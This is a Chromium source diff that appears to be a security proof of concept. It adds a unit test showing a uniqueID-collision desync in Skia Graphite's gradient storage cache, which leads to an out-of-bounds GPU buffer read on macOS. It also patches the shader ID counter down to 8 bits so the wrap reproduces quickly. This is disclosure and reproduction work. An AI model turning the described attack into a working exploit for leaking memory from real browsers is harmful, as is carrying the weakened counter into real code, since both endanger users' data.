diff --git a/skia/BUILD.gn b/skia/BUILD.gn index 429a7280c7829..29a9b21bb9957 100644 --- a/skia/BUILD.gn +++ b/skia/BUILD.gn @@ -1220,6 +1220,7 @@ test("skia_unittests") { "ext/codec_utils_unittest.cc", "ext/convolver_unittest.cc", "ext/geometry_unittest.cc", + "ext/gradient_cache_collision_unittest.cc", "ext/image_operations_unittest.cc", "ext/platform_canvas_unittest.cc", "ext/recursive_gaussian_convolution_unittest.cc", diff --git a/skia/ext/gradient_cache_collision_unittest.cc b/skia/ext/gradient_cache_collision_unittest.cc new file mode 100644 index 0000000000000..fb29e1a034973 --- /dev/null +++ b/skia/ext/gradient_cache_collision_unittest.cc @@ -0,0 +1,178 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// Proof-of-concept unit test for a uniqueID-collision desync in Skia Graphite's +// FloatStorageManager::allocateGradientData(). +// +// FloatStorageManager de-duplicates per-Recording gradient SSBO allocations +// solely by SkShaderBase::uniqueID() (a process-global 32-bit fetch_add +// counter), returning the cached buffer offset on hit *without* re-checking +// that the cached allocation is large enough for the caller's numStops. After +// the 32-bit counter wraps (which a compromised renderer can drive by +// streaming ~2^32 gradient PaintOps to the GPU process while pinning a small +// gradient in the ServiceTransferCache), two distinct live gradients with +// different stop counts can share a uniqueID. The large gradient then receives +// the small gradient's bufferOffset; add_gradient_postamble() emits the large +// gradient's numStops together with the small offset, and on macOS +// (Graphite/Dawn-Metal, default config, with disable_robustness) the fragment +// shader $colorize_grad_buf indexes the bound SSBO far past its allocation, +// reading stale pooled VRAM that is rendered into the canvas and readable via +// getImageData(). +// +// This test demonstrates the CPU-side desync directly. The actual GPU +// storage-buffer OOB read is platform-specific (macOS Metal) and not +// observable via ASAN. See poc-macos.html and chromium-counter-wrap.patch for +// the full browser-level reproduction on macOS. +// +// PRECONDITION: next_unique_id() in SkShaderBase.cpp has been masked to 8 bits +// (chromium-counter-wrap.patch) to time-compress the 2^32 wrap. The +// de-duplication logic under test is unchanged. + +#include + +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/skia/include/core/SkColor.h" +#include "third_party/skia/include/core/SkPoint.h" +#include "third_party/skia/include/core/SkRefCnt.h" +#include "third_party/skia/include/core/SkTileMode.h" +#include "third_party/skia/include/effects/SkGradient.h" +#include "third_party/skia/src/gpu/graphite/PipelineData.h" +#include "third_party/skia/src/shaders/gradients/SkGradientBaseShader.h" +#include "third_party/skia/src/shaders/gradients/SkLinearGradient.h" + +namespace { + +sk_sp MakeLinearGradient(int numStops) { + std::vector colors(numStops, SkColors::kRed); + SkGradient::Colors gc(SkSpan(colors.data(), colors.size()), + SkTileMode::kClamp); + SkGradient grad(gc, SkGradient::Interpolation{}); + const SkPoint pts[2] = {{0, 0}, {100, 0}}; + // Construct the SkGradientBaseShader subclass directly so we hold a pointer + // to the gradient itself (SkShaders::LinearGradient wraps it in an + // SkLocalMatrixShader). This mirrors what the GPU-process PaintOp playback + // ultimately holds inside the cached SkPicture. + return sk_make_sp(pts, grad); +} + +} // namespace + +TEST(GradientCacheCollisionTest, FloatStorageManagerNumStopsDesync) { + using skgpu::graphite::FloatStorageManager; + + constexpr int kSmallStops = 9; // Gradient A: 9 stops -> 45 SSBO floats. + constexpr int kLargeStops = 10000; // Gradient B: 10000 stops -> 50000 floats. + + // Step 1: Gradient A is the "pinned" small gradient (held in the GPU + // process's ServiceTransferCache via a cached SkPicture for the lifetime of + // the process). + sk_sp gradient_a = MakeLinearGradient(kSmallStops); + const uint32_t id_a = gradient_a->uniqueID(); + + // Step 2: A compromised renderer streams gradient PaintOps until the 32-bit + // SkShaderBase uniqueID counter wraps and a freshly-minted gradient B + // collides with A. With the 8-bit POC mask this takes <=256 constructions; in + // production it takes ~2^32 (deterministic, renderer-driven). + sk_sp gradient_b; + for (int i = 0; i < 1024 && !gradient_b; ++i) { + sk_sp candidate = MakeLinearGradient(kLargeStops); + if (candidate->uniqueID() == id_a) { + gradient_b = std::move(candidate); + } + } + ASSERT_TRUE(gradient_b) + << "uniqueID counter did not wrap; ensure the POC mask in " + "SkShaderBase.cpp::next_unique_id() is applied"; + ASSERT_NE(gradient_a.get(), gradient_b.get()); + ASSERT_EQ(gradient_a->uniqueID(), gradient_b->uniqueID()); + ASSERT_NE(gradient_a->getColorCount(), gradient_b->getColorCount()); + + // Step 3: Both gradients are drawn in the same Recording. Device::drawGeometry + // builds the per-draw KeyContext with fRecorder->priv().floatStorageManager(), + // so both calls below land on the same FloatStorageManager instance. + FloatStorageManager fsm; + + // Gradient A draws first (via SkPictureShader replay on the same Recorder): + // cache miss, 9*5 = 45 floats allocated at offset 0. + auto [ptr_a, off_a] = fsm.allocateGradientData(kSmallStops, gradient_a.get()); + EXPECT_NE(ptr_a, nullptr); + EXPECT_EQ(off_a, 0); + + // Gradient B draws next: cache HIT on uniqueID==id_a. The cache returns A's + // 45-float region's offset and allocates NOTHING for B's 50000 floats. + // write_color_and_offset_bufdata() sees dstData==nullptr and skips the data + // write, but add_gradient_postamble() still emits {numStops=10000, + // bufferOffset=off_a} as fragment-shader uniforms. + auto [ptr_b, off_b] = fsm.allocateGradientData(kLargeStops, gradient_b.get()); + + fprintf(stderr, + "\n=== FloatStorageManager uniqueID-collision desync ===\n" + " gradient_a: ptr=%p uniqueID=%u numStops=%d -> {dstData=%p, " + "bufferOffset=%d} (allocated %d floats)\n" + " gradient_b: ptr=%p uniqueID=%u numStops=%d -> {dstData=%p, " + "bufferOffset=%d} (allocated 0 floats: CACHE HIT ON COLLISION)\n", + static_cast(gradient_a.get()), gradient_a->uniqueID(), + kSmallStops, static_cast(ptr_a), off_a, kSmallStops * 5, + static_cast(gradient_b.get()), gradient_b->uniqueID(), + kLargeStops, static_cast(ptr_b), off_b); + + // This is the bug: distinct shader, distinct numStops, but cache hit -> + // {nullptr, A's offset}. No cross-check on numStops. + EXPECT_EQ(ptr_b, nullptr) << "expected cache hit on colliding uniqueID"; + EXPECT_EQ(off_b, off_a) << "expected B to receive A's bufferOffset"; + + // Step 4: Prove the SSBO is undersized. Allocate a third (non-colliding) + // gradient C; its offset equals the *current* end of fGradientStorage. + sk_sp gradient_c; + for (int i = 0; i < 1024 && !gradient_c; ++i) { + sk_sp candidate = MakeLinearGradient(kSmallStops); + if (candidate->uniqueID() != id_a) { + gradient_c = std::move(candidate); + } + } + ASSERT_TRUE(gradient_c); + auto [ptr_c, off_c] = fsm.allocateGradientData(kSmallStops, gradient_c.get()); + EXPECT_NE(ptr_c, nullptr); + // off_c == 45 proves fGradientStorage held only A's 45 floats after B's + // "allocation" -- i.e. B got zero bytes. + EXPECT_EQ(off_c, kSmallStops * 5) + << "fGradientStorage grew past 45 floats; collision not reproduced"; + + // After finalize(), the bound SSBO covers off_c + 45 = 90 floats. + // B's fragment shader ($colorize_grad_buf, sksl_graphite_frag.sksl:831-871) + // computes lastColorIndex = bufferOffset + 5*numStops - 4 and reads + // colorAndOffsetData[lastColorIndex .. lastColorIndex+3]. With + // bufferOffset=off_b and numStops=kLargeStops: + const int ssbo_floats = off_c + kSmallStops * 5; + const int last_color_index = off_b + 5 * kLargeStops - 4; + const int oob_floats = (last_color_index + 4) - ssbo_floats; + fprintf(stderr, + " finalize() will bind an SSBO of %d floats (%d bytes)\n" + " $colorize_grad_buf for gradient_b reads up to index %d\n" + " => GPU storage-buffer OOB READ of %d floats (%d bytes) past the " + "binding\n" + " On macOS (Graphite/Dawn-Metal default, disable_robustness toggle " + "set in dawn_context_provider.cc), the emitted MSL indexes a raw " + "`device float*` with no bounds check; leaked bytes are rendered as " + "RGBA and readable via getImageData().\n" + "=====================================================\n\n", + ssbo_floats, ssbo_floats * 4, last_color_index, oob_floats, + oob_floats * 4); + + ASSERT_GT(last_color_index, ssbo_floats) + << "no OOB: SSBO covers all indices gradient_b will read"; + + // Finally, assert the invariant that *should* hold: every (offset,numStops) + // pair emitted as uniforms must fit inside the SSBO. This assertion FAILS, + // which is the vulnerability. + EXPECT_LE(off_b + 5 * kLargeStops, ssbo_floats) + << "VULNERABILITY CONFIRMED: gradient_b's uniforms encode " + "{bufferOffset=" + << off_b << ", numStops=" << kLargeStops + << "} => shader reads indices [" << off_b << ", " + << off_b + 5 * kLargeStops - 1 << "] from a " << ssbo_floats + << "-float SSBO. FloatStorageManager::allocateGradientData() returned a " + "cached offset for a colliding uniqueID without cross-checking " + "numStops."; +} diff --git a/third_party/skia/src/shaders/SkShaderBase.cpp b/third_party/skia/src/shaders/SkShaderBase.cpp index 5d20ba49ea1..dcbf19238c1 100644 --- a/third_party/skia/src/shaders/SkShaderBase.cpp +++ b/third_party/skia/src/shaders/SkShaderBase.cpp @@ -29,7 +29,12 @@ uint32_t next_unique_id() { static std::atomic gNextUniqueID{SK_InvalidUniqueID + 1}; uint32_t id = SK_InvalidUniqueID; do { - id = gNextUniqueID.fetch_add(1, std::memory_order_relaxed); + // POC TIME-COMPRESSION: mask to 8 bits so the 32-bit counter wrap (which a + // compromised renderer can drive in ~hours by streaming ~2^32 PaintOp gradient + // shaders to the GPU process) is reproducible in seconds. The vulnerable + // de-duplication logic in FloatStorageManager::allocateGradientData() is + // unchanged; only the time-to-wrap is reduced. + id = gNextUniqueID.fetch_add(1, std::memory_order_relaxed) & 0xFFu; } while (id == SK_InvalidUniqueID); return id; }